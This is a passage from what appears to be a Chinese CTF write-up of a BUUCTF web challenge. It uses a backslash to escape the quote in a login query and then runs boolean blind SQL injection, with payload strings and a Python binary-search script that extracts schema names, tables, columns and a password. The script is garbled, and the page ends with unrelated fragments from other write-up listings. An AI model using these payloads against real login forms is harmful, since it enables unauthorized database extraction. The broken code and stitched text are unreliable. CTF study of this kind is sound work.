沒想到sql注入還能要掃目錄。掃目錄能看到robots.txt
,提示存在hint.txt
,訪問告知了你sql查詢語句。
select * from users where username='$_post["username"]' and password='$_post["password"]';
很平常的查詢語句。但同時有什麼用呢,就得結合上面的測試,跑字典發現\
沒被過濾。而它的作用就是轉義。
如果我們 username 傳入的是admin\
那麼\
可以把閉合username的單引號轉義,也就變成了username='admin\' and password='
而我們傳入的password也就單獨成為了一部分,也就給了我們利用的機會。
or (ascii(substr(username,1,1))>1000)#
or (ascii(substr(password,1,1))>1000)#
結合起來的sql語句就是
select * from users where username='admin\' and password=' or ascii(substr(password,1,1))>0#';
這樣的話,因為前面username='admin\' and password='
查詢不存在。執行or
後面的來作返回值,從而構成布林盲注。
並且發現當為真時,回顯不同。
所以,可以編寫python指令碼來跑。借用網上師傅的二分法。
:# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) #資料庫名字
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) #表名
# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='f1nai1y')),%d,1))>%d)^1"%(i,j) #列名
sql =
"1^(ord(substr((select(group_concat(password))from(f1nai1y)),%d,1))>%d)^1"
%(i,j)
data =
r = requests.get(url,params=data)
# print (r.url)
if"click"
in r.text:
res =
1else
: res =
0return res
defexp():
global flag
for i in
range(1
,10000):
(i,':'
) low =
31 high =
127while low <= high :
mid =
(low + high)//2
res = payload(i,mid)
if res :
low = mid +
1else
: high = mid -
1 f =
int(
(low + high +1)
)//2if
(f ==
127or f ==31)
:break
# print (f)
flag +=
chr(f)
(flag)
exp(
('flag='
,flag)
然後本地加乙個php檔案上去。
BUUCTF web題解合集(二)
geturl methods get post 2def geturl 3 url request.args.get url 4 host parse.urlparse url hostname 5 解析url,賦值hostname 6if host suctf.cc 7 return 我扌 you...
BUUCTF web題解合集(四)
include flag.php echo flag在 呢?if isset get exp else else else highlight file file localeconv 函式返回一包含本地數字及貨幣格式資訊的陣列。scandir 列出 images 目錄中的檔案和目錄。readfil...
4月訓練題解合集
由於我太懶了,所以就不每題開一篇寫了。題目大意也懶得寫了。顯然最優策略是瞎走,在知道那條邊斷掉了之後才走最短路徑。先把以 t 為根的最短路樹求出來,然後可以用堆求出斷掉每條邊後端點到 t 的最短路徑。最後像 dijk 那樣 dp 一下就好了。直接線段樹 凸包優化 dp 可以輕鬆做到 o n log ...